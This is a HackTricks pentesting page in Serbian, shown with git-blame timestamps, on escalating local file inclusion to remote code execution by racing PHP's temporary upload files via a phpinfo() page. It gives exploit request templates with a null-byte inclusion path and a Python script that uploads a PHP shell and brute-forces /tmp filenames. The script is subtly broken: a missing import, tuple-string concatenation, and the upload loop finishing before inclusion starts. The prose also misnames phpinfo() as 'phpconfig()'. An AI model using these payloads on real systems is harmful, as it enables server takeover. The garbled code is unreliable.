hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

79 lines
5.2 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
Da biste iskoristili ovu ranjivost, potrebno vam je: **LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file\_uploads = on" i server mora moći da piše u "/tmp" direktorijum.**
2022-04-20 19:39:32 +00:00
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
2022-04-20 19:39:32 +00:00
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
2024-02-10 13:11:20 +00:00
Da biste ispravili eksploit (promenite **=>** u **=>**). To možete uraditi:
2022-04-20 19:39:32 +00:00
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
2024-02-10 13:11:20 +00:00
Morate promeniti i **payload** na početku eksploatacije (na primer, za php-rev-shell), **REQ1** (ovo bi trebalo da upućuje na phpinfo stranicu i trebalo bi da uključuje padding, na primer: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), i **LFIREQ** (ovo bi trebalo da upućuje na LFI ranjivost, na primer: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Proverite dvostruki "%" prilikom iskorišćavanja null karaktera)
2022-04-20 19:39:32 +00:00
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
2024-02-10 13:11:20 +00:00
### Teorija
2022-04-20 19:39:32 +00:00
2024-02-10 13:11:20 +00:00
Ako su dozvoljeni uploadi u PHP-u i pokušate da otpremite datoteku, ta datoteka se čuva u privremenoj direktoriji dok server ne završi obradu zahteva, a zatim se ta privremena datoteka briše.
2022-04-20 19:39:32 +00:00
2024-02-10 13:11:20 +00:00
Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremene datoteke koja je kreirana i iskoristiti RCE pristupajući privremenoj datoteci pre nego što bude obrisana.
2022-04-20 19:39:32 +00:00
2024-02-10 13:11:20 +00:00
Na **Windows**-u, datoteke se obično čuvaju u **C:\Windows\temp\php**
2022-04-20 19:39:32 +00:00
2024-02-10 13:11:20 +00:00
Na **Linux**-u, ime datoteke obično bude **slučajno** i smeštena je u **/tmp**. Pošto je ime slučajno, potrebno je **izvući negde ime privremene datoteke** i pristupiti joj pre nego što bude obrisana. To se može uraditi čitanjem vrednosti **promenljive $\_FILES** unutar sadržaja funkcije "**phpconfig()**".
2022-04-20 19:39:32 +00:00
**phpinfo()**
2024-02-10 13:11:20 +00:00
**PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **poslati** **mnogo velikih zahteva** (koristeći velike zaglavlja) **otpremajući php** reverse **shell**, čekati da se vrati **prvi deo phpinfo()** (gde je ime privremene datoteke) i pokušati **pristupiti privremenoj datoteci** pre nego što php server obriše datoteku iskorišćavajući LFI ranjivost.
2022-04-20 19:39:32 +00:00
2024-02-10 13:11:20 +00:00
**Python skripta za pokušaj brute force imena (ako je dužina = 6)**
2022-04-20 19:39:32 +00:00
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
2024-02-10 13:11:20 +00:00
requests.post('http://target.com/index.php?c=index.php', f)
2022-04-20 19:39:32 +00:00
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
2024-02-10 13:11:20 +00:00
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
2022-04-20 19:39:32 +00:00
print('[x] Something went wrong, please try again')
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>